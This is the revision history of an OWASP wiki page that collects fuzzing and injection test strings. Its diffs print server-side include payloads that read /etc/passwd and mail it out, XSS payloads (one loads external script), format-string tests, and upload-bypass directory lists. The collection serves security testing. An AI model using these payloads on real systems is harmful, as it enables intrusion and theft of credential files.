Category:OWASP Fuzzing Code Database - Revision history

Foobar23: Updated my contact information - I don't use Foobar@email.de anymore

2015-07-23T11:37:21Z

Updated my contact information - I don't use Foobar@email.de anymore

Kait Disney-Leugers at 19:57, 23 January 2014

2014-01-23T19:57:50Z

Kait Disney-Leugers at 18:40, 23 January 2014

2014-01-23T18:40:59Z

Kait Disney-Leugers at 02:07, 23 January 2014

2014-01-23T02:07:20Z

Wagner.elias at 08:15, 10 November 2011

2011-11-10T08:15:31Z

Ulisses Castro at 19:58, 12 March 2011

2011-03-12T19:58:37Z

Wagner.elias at 02:17, 9 November 2010

2010-11-09T02:17:26Z

Wagner.elias at 19:38, 15 September 2010

2010-09-15T19:38:27Z

Adam.muntner: /* Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) */

2010-04-12T17:55:24Z

‎Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)

Adam.muntner: /* Microsoft URLs (8 April 2010) */

2010-04-12T16:33:18Z

‎Microsoft URLs (8 April 2010)

@@ Line 3,766: / Line 3,766: @@
 <pre>
 # Some server side include statements
-# Foobar@email.de
+# Florian Roth @4nc4p
 &lt;!--#exec cmd="/bin/ls /" --&gt;&lt;br/&gt;
 &lt;!--#exec cmd="cat /etc/passwd" --&gt;&lt;br/&gt;
 &lt;!--#exec cmd="find / -name *.* -print" --&gt;&lt;br/&gt;
-&lt;!--#exec cmd="mail Foobar@email.de &lt;mailto:Foobar@email.de&gt; &lt; cat /etc/passwd" --&gt;&lt;br/&gt;
+&lt;!--#exec cmd="mail Florian Roth @4nc4p &lt;mailto:Florian Roth @4nc4p&gt; &lt; cat /etc/passwd" --&gt;&lt;br/&gt;
 </pre>
@@ Line 3,916: / Line 3,916: @@
 <pre># Discovery Statements (July 2007)
 # Statements used to cause exploitable errors
-# Foobar@email.de
+# Florian Roth @4nc4p
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
@@ Line 3,925: / Line 3,925: @@
 <pre># Best Statements (July 2007)
 # Statements covering 90% of all vulnerabilities
-# Foobar@email.de
+# Florian Roth @4nc4p
 '&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;&lt;img src="" alt='
@@ Line 3,940: / Line 3,940: @@
 # Based on the XSS cheat sheet
 # http://ha.ckers.org/xss.html
-# Foobar@email.de
+# Florian Roth @4nc4p
 &lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
@@ Line 4,092: / Line 4,092: @@
 &lt;IMG%20SRC='javasc
 "&lt;IMG%20SRC=""jav"
-"&lt;IMG%20SRC=""jav	ascript:alert('WXSS');""&gt;"
+"&lt;IMG%20SRC=""jav    ascript:alert('WXSS');""&gt;"
 "&lt;IMG%20SRC=""jav
 ascript:alert('WXSS');""&gt;"
@@ Line 4,134: / Line 4,134: @@
 # Full List
 # Format String tests to determine errors in variable handling
-# Foobar@email.de
+# Florian Roth @4nc4p
 %s%p%x%d

@@ Line 4: / Line 4: @@
 ! width="500" align="center" | <br>
 |-
-| align="right" | [[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/Category:OWASP_Project]]
+| align="right" | [[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Inactive_Projects]]
 | align="right" |

← Older revision		Revision as of 18:40, 23 January 2014
Line 1:		Line 1:
−	[[Image:OWASP Inactive Banner.jpg\|~~1155px~~]]	+	{\|
		+	\|-
		+	! width="700" align="center" \| <br>
		+	! width="500" align="center" \| <br>
		+	\|-
		+	\| align="right" \| [[Image:OWASP Inactive Banner.jpg\|800px\| link=https://www.owasp.org/index.php/Category:OWASP_Project]]
		+	\| align="right" \|
		+
		+	\|}
	This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added.		This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added.

← Older revision		Revision as of 02:07, 23 January 2014
Line 1:		Line 1:
		+	[[Image:OWASP Inactive Banner.jpg\|1155px]]
	This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added.		This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added.

@@ Line 2: / Line 2: @@
 ==== News  ====
 '''08 November 2010'''
@@ Line 93: / Line 97: @@
 </pre>
-=== SAP Commom URL Web Interface (15 September 2010) ===
+=== SAP Commom URL Web Interface (10 November 2011) ===
 <pre>
 /sap/bc/gui/sap/its/webgui
 /sap/public/icman/ping
 /sap/admin
 /sap/wdisp/admin
 /scripts/wgate

@@ Line 4,009: / Line 4,009: @@
 Reviewer: [[:User:eneves|'''Eduardo Neves''']]
-Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']]
+Contributor: [[:User:Ulisses_Castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']]
 ==== Feedback and Participation  ====

@@ Line 2: / Line 2: @@
 ==== News  ====
 '''17 March 2010'''
@@ Line 64: / Line 68: @@
 ==== Statements  ====
 === Microsoft URLs (8 April 2010) ===

@@ Line 1,819: / Line 1,819: @@
 </pre>
-=== Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)  ===
+=== Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 10 April 2010 - Total Statements: 9)  ===
 <pre>#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends  (Update: 17 March 2010)
 # adam.muntner@quietmove.com
 # released under creative commons license
-{HOST}/templates_compiled/
+{PREFIX}/templates_compiled/
-{HOST}/templates_c/
+{PREFIX}/templates_c/
-{HOST}/templates/
+{PREFIX}/templates/
-{HOST}/temporary/
+{PREFIX}/temporary/
-{HOST}/images/
+{PREFIX}/images/
-{HOST}/cache/
+{PREFIX}/cache/
-{HOST}/temp/
+{PREFIX}/temp/
-{HOST}/files/
+{PREFIX}/files/
-{HOST}/tmp/
+{PREFIX}/tmp/
 </pre>

@@ Line 144: / Line 144: @@
 /~/<script>alert('XSS')</script>.asp
 /~/<script>alert('XSS')</script>.aspx
-index.shtml
+/index.shtml
-x.htw
+/x.htw
-x.ida
+/x.ida
-x.idq
+/x.idq
 /cgi
 /scripts/iisadmin/ism.dll?http/dir